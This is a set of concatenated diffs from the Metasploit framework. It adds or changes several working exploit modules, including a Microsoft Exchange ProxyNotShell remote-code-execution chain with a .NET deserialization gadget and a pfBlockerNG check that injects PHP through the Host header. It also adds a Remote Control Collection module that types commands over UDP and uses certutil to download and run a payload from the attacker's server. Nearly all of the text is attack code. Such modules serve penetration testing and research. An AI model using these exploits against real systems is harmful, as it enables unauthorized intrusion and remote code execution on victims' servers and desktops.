if resp.code == 500 && resp.headers['X-CalculatedBETarget'] != @backend
# retry the request if it failed and the backend was different than the target
next
end
break
end
if resp&.code == 200 && @backend.nil?
@backend = resp.headers['X-CalculatedBETarget']
end
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
end
attr_reader :backend
end
def create_transport(connection_opts)
raise NotImplementedError unless connection_opts[:transport] == :ssrf
super
end
private
def init_ssrf_transport(opts)
HttpSsrf.new(opts[:endpoint], opts)
end
end
module PowerShell
def send_command(command, _arguments)
command_id = SecureRandom.uuid.to_s.upcase
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
fragmenter.fragment(message) do |fragment|
command_args = [connection_opts, shell_id, command_id, fragment]
if fragment.start_fragment
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
else
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
end
end
command_id
end
end
def initialize(connection_opts)
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
connection_opts.merge!({ user: :ssrf, password: :ssrf })
super(connection_opts)
end
def transport
@transport ||= begin
transport_factory = TransportFactory.new
transport_factory.create_transport(@connection_opts)
end
end
end
end
@@ -137,7 +137,12 @@ module SingleCommandShell
# Send the command to the session's stdin.
delimiter = "echo #{token}"
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
if cmd.strip.end_with?(command_separator)
# This command already ends with a delimiter - don't need to add another one
shell_data = cmd + "#{delimiter}#{command_termination}"
else
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
end
unless @is_echo_shell
shell_data = "#{delimiter}#{command_separator}#{shell_data}"
end
@@ -91,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary
return
end
if res.code != 401
vprint_error("http://#{rhost}:#{rport} - Authorization not requested")
vprint_error("http://#{rhost}:#{rport}#{uri} - Authorization not requested")
return
end
@@ -865,6 +865,8 @@ class MetasploitModule < Msf::Auxiliary
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
@@ -49,6 +49,8 @@ class MetasploitModule < Msf::Auxiliary
)
end
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
rescue ::Interrupt
raise $!
@@ -65,6 +65,8 @@ class MetasploitModule < Msf::Auxiliary
type: 'snmp.users',
data: users
)
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
# too noisy for a scanner
ensure
@@ -310,7 +310,7 @@ class MetasploitModule < Msf::Exploit::Local
echo \"success\";
break;
fi;
done;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end
@@ -361,7 +361,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def execute_payload(fname)
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -Sb #{fname}\"")
end
def exploit
@@ -402,4 +402,13 @@ class MetasploitModule < Msf::Exploit::Local
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
end
end
def on_new_session(client)
# Because we deleted the user directory, a meterp shell will be unusable until we chdir somewhere that exists
# So let's just use the WritableDir that must exist, given its use earlier
if !session.nil? && (client.type == 'meterpreter')
client.core.use('stdapi')
client.fs.dir.chdir(datastore['WritableDir'])
end
end
end
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_options([
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])
])
end
@@ -106,16 +106,37 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
upload_shell
check_resp = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/#{@webshell_name}"),
'vars_post' => {
@parameter_name.to_s => 'id'
test_file_name = Rex::Text.rand_text_alpha(4..12)
test_file_content = Rex::Text.rand_text_alpha(4..12)
test_injection = <<~EOF
<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
EOF
encoded_php = test_injection.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
}
)
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || check_resp.body.nil? || !check_resp.body.include?('uid=0(root) gid=0(wheel)')
sleep datastore['WfsDelay']
check_resp = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
)
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)
# Clean up test webshell "/usr/local/www/#{test_file_name}"
clean_up_injection = <<~EOF
<?php echo unlink('/usr/local/www/#{test_file_name}');
EOF
encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
}
)
Exploit::CheckCode::Vulnerable
end
@@ -133,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
upload_shell unless datastore['AutoCheck']
upload_shell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
@@ -0,0 +1,236 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Exchange
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyNotShell RCE',
'Description' => %q{
This module chains two vulnerabilities on Microsoft Exchange Server
that, when combined, allow an authenticated attacker to interact with
the Exchange Powershell backend (CVE-2022-41040), where a
deserialization flaw can be leveraged to obtain code execution
(CVE-2022-41082). This exploit only support Exchange Server 2019.
These vulnerabilities were patched in November 2022.
},
'Author' => [
'Orange Tsai', # Discovery of ProxyShell SSRF
'Spencer McIntyre', # Metasploit module
'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis
'Piotr Bazydło', # Vulnerability analysis
'Rich Warren', # EEMS bypass via ProxyNotRelay
'Soroush Dalili' # EEMS bypass
],
'References' => [
[ 'CVE', '2022-41040' ], # ssrf
[ 'CVE', '2022-41082' ], # rce
[ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],
[ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],
[ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],
[ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]
],
'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Windows Dropper',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => [ARCH_CMD],
'Type' => :windows_command
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'AKA' => ['ProxyNotShell'],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])
])
register_advanced_options([
OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])
])
end
def check
@ssrf_email ||= Faker::Internet.email
res = send_http('GET', '/mapi/nspi/')
return CheckCode::Unknown if res.nil?
return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
# actually run the powershell cmdlet and see if it works, this will fail if:
# * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)
# * the exchange emergency mitigation service M1 rule is in place
return CheckCode::Safe unless execute_powershell('Get-Mailbox')
CheckCode::Vulnerable
rescue Msf::Exploit::Failed => e
CheckCode::Safe(e.to_s)
end
def ibm037(string)
string.encode('IBM037').force_encoding('ASCII-8BIT')
end
def send_http(method, uri, opts = {})
opts[:authentication] = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'preferred_auth' => 'NTLM'
}
if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'
uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}"
opts[:headers] = {
'X-Up-Devcap-Post-Charset' => 'IBM037',
# technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362
'User-Agent' => "UP #{datastore['UserAgent']}"
}
else
uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}"
end
super(method, uri, opts)
end
def exploit
# if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not
# work on Exchange Server 2016
if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)
vprint_status("Detected Exchange version: #{version}")
if version < Rex::Version.new('15.2')
fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')
end
end
@ssrf_email ||= Faker::Internet.email
case target['Type']
when :windows_command
vprint_status("Generated payload: #{payload.encoded}")
execute_command(payload.encoded)
when :windows_dropper
execute_cmdstager({ linemax: 7_500 })
end
end
def execute_command(cmd, _opts = {})
xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c #{cmd.encode(xml: :text)}</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
XAML
identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
<Obj N="V" RefId="14">
<TN RefId="1">
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>Object</ToString>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="1">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">
#{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}
</BA>
</MS>
</Obj>
</Props>
<S>
<![CDATA[#{xaml}]]>
</S>
</Obj>
IDENTITY
execute_powershell('Get-Mailbox', args: [
{ name: '-Identity', value: identity }
])
end
end
class XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream
include Msf::Util::DotNetDeserialization
def self.generate
from_values([
Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
class_info: Types::General::ClassInfo.new(
obj_id: 1,
name: 'System.UnitySerializationHolder',
member_names: %w[Data UnityType AssemblyName]
),
member_type_info: Types::General::MemberTypeInfo.new(
binary_type_enums: %i[String Primitive String],
additional_infos: [ 8 ]
),
member_values: [
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
obj_id: 2,
string: 'System.Windows.Markup.XamlReader'
)),
4,
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
obj_id: 3,
string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'
))
]
),
Types::RecordValues::MessageEnd.new
])
end
end
@@ -3,8 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'winrm'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
@@ -12,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::EXE
def initialize(info = {})
@@ -122,8 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
])
end
@@ -259,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def probe_powershell_backend(common_access_token)
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
end
@@ -274,7 +271,11 @@ class MetasploitModule < Msf::Exploit::Remote
probe_powershell_backend(common_access_token)
print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: email_address } ])
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: email_address }
])
unless role_assigned
fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
end
@@ -297,7 +298,11 @@ class MetasploitModule < Msf::Exploit::Remote
end
common_access_token = build_token(this_sid)
next unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: this_email_address } ])
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: this_email_address }
])
next unless role_assigned
@mailbox_user_sid = this_sid
@mailbox_user_email = this_email_address
@@ -310,25 +315,8 @@ class MetasploitModule < Msf::Exploit::Remote
def send_http(method, uri, opts = {})
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
unless opts[:cookie] == :none
opts[:cookie] = "Email=#{ssrf}"
end
request = {
'method' => method,
'uri' => "/#{ssrf}#{uri}",
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype],
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
received = send_request_cgi(request)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
received
opts[:cookie] = "Email=#{ssrf}"
super(method, "/#{ssrf}#{uri}", opts)
end
def get_emails
@@ -388,50 +376,6 @@ class MetasploitModule < Msf::Exploit::Remote
Rex::Text.encode_base64(token)
end
def execute_powershell(common_access_token, cmdlet, args: [])
winrm = SSRFWinRMConnection.new({
endpoint: full_uri('PowerShell/'),
transport: :ssrf,
ssrf_proc: proc do |method, uri, opts|
uri = "#{uri}?X-Rps-CAT=#{common_access_token}"
uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"
opts[:cookie] = :none
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
)
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
)
send_http(method, uri, opts)
end
})
successful = true
begin
winrm.shell(:powershell) do |shell|
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
shell.extend(SSRFWinRMConnection::PowerShell)
shell.run({ cmdlet: cmdlet, args: args }) do |_stdout, stderr|
unless stderr.blank?
successful = false
vprint_error('PSRP error received:')
vprint_line(stderr)
end
end
end
rescue WinRM::WinRMError => e
vprint_error("Exception: #{e.message}")
successful = false
rescue RuntimeError => e
print_error("Exception: #{e.inspect}")
successful = false
end
successful
end
def exploit
@ssrf_email ||= Faker::Internet.email
print_status('Attempt to exploit for CVE-2021-34473')
@@ -447,12 +391,12 @@ class MetasploitModule < Msf::Exploit::Remote
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
end
normal_path = unc_path.gsub(/^\\+[\w.\-]+\\(.)\$\\/, '\1:\\')
normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
print_status("Writing to: #{normal_path}")
register_file_for_cleanup(normal_path)
@export_name = rand_text_alphanumeric(8..12)
successful = execute_powershell(@common_access_token, 'New-MailboxExportRequest', args: [
successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Name', value: @export_name },
{ name: '-Mailbox', value: @mailbox_user_email },
{ name: '-IncludeFolders', value: '#Drafts#' },
@@ -506,13 +450,13 @@ class MetasploitModule < Msf::Exploit::Remote
return unless @common_access_token && @export_name
print_status('Removing the mailbox export request')
execute_powershell(@common_access_token, 'Remove-MailboxExportRequest', args: [
execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
{ name: '-Confirm', value: false }
])
print_status('Removing the draft email')
execute_powershell(@common_access_token, 'Search-Mailbox', args: [
execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
{ name: '-Identity', value: @mailbox_user_email },
{ name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
{ name: '-Force' },
@@ -580,94 +524,3 @@ class PstEncoding
encoded
end
end
class XMLTemplate
def self.render(template_name, context = nil)
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")
template = ::File.binread(file_path)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
class SSRFWinRMConnection < WinRM::Connection
class MessageFactory < WinRM::PSRP::MessageFactory
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
WinRM::PSRP::Message.new(
runspace_pool_id,
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
pipeline_id
)
end
end
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
# vulnerability
class TransportFactory < WinRM::HTTP::TransportFactory
class HttpSsrf < WinRM::HTTP::HttpTransport
# rubocop:disable Lint/
def initialize(endpoint, options)
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
@ssrf_proc = options[:ssrf_proc]
end
def send_request(message)
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
end
end
def create_transport(connection_opts)
raise NotImplementedError unless connection_opts[:transport] == :ssrf
super
end
private
def init_ssrf_transport(opts)
HttpSsrf.new(opts[:endpoint], opts)
end
end
module PowerShell
def send_command(command, _arguments)
command_id = SecureRandom.uuid.to_s.upcase
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
fragmenter.fragment(message) do |fragment|
command_args = [connection_opts, shell_id, command_id, fragment]
if fragment.start_fragment
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
else
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
end
end
command_id
end
end
def initialize(connection_opts)
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
connection_opts.merge!({ user: :ssrf, password: :ssrf })
super(connection_opts)
end
def transport
@transport ||= begin
transport_factory = TransportFactory.new
transport_factory.create_transport(@connection_opts)
end
end
end
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Exploit::Remote::Udp
include Exploit::EXE # generate_payload_exe
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Control Collection RCE',
'Description' => %q{
This module utilizes the Remote Control Server's, part
of the Remote Control Collection by Steppschuh, protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.1.1.12, current at the time of module writing
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'H4rk3nz0' # edb, discovery
],
'References' => [
[ 'URL', 'http://remote-control-collection.com' ],
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py' ]
],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
['default', {}],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp',
'WfsDelay' => 5,
'Autocheck' => false
},
'DisclosureDate' => '2022-09-20',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1926]),
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
OptString.new('PATH', [true, 'Where to stage payload for pull method', '%temp%\\']),
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
]
)
end
def path
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
"#{datastore['PATH']}\\"
end
def special_key_header
"\x7f\x15\x02"
end
def key_header
"\x7f\x15\x01"
end
def windows_key
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\xab") # key up
udp_sock.put("#{special_key_header}\x00\x00\x00\x00\xab") # key down
sleep(datastore['SLEEP'])
end
def enter_key
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\x42")
sleep(datastore['SLEEP'])
end
def send_command(command)
command.each_char do |c|
udp_sock.put("#{key_header}#{c}")
sleep(datastore['SLEEP'] / 10)
end
enter_key
sleep(datastore['SLEEP'])
end
def check
@check_run = true
@check_success = false
upload_file
return Exploit::CheckCode::Vulnerable if @check_success
return Exploit::CheckCode::Safe
end
def on_request_uri(cli, _req)
@check_success = true
if @check_run # send a random file
p = Rex::Text.rand_text_alphanumeric(rand(8..17))
else
p = generate_payload_exe
end
send_response(cli, p)
print_good("Request received, sending #{p.length} bytes")
end
def upload_file
connect_udp
# send a space character to skip any screensaver
udp_sock.put("#{key_header} ")
print_status('Connecting and Sending Windows key')
windows_key
print_status('Opening command prompt')
send_command('cmd.exe')
filename = Rex::Text.rand_text_alphanumeric(rand(8..17))
filename << '.exe' unless @check_run
if @service_started.nil?
print_status('Starting up our web service...')
start_service('Path' => '/')
@service_started = true
end
get_file = "certutil.exe -urlcache -f http://#{srvhost_addr}:#{srvport}/ #{path}#{filename}"
send_command(get_file)
if @check_run.nil? || @check_run == true
send_command("del #{path}#{filename} && exit")
else
register_file_for_cleanup("#{path}#{filename}")
print_status('Executing payload')
send_command("#{path}#{filename} && exit")
end
disconnect_udp
end
def exploit
@check_run = false
upload_file
end
end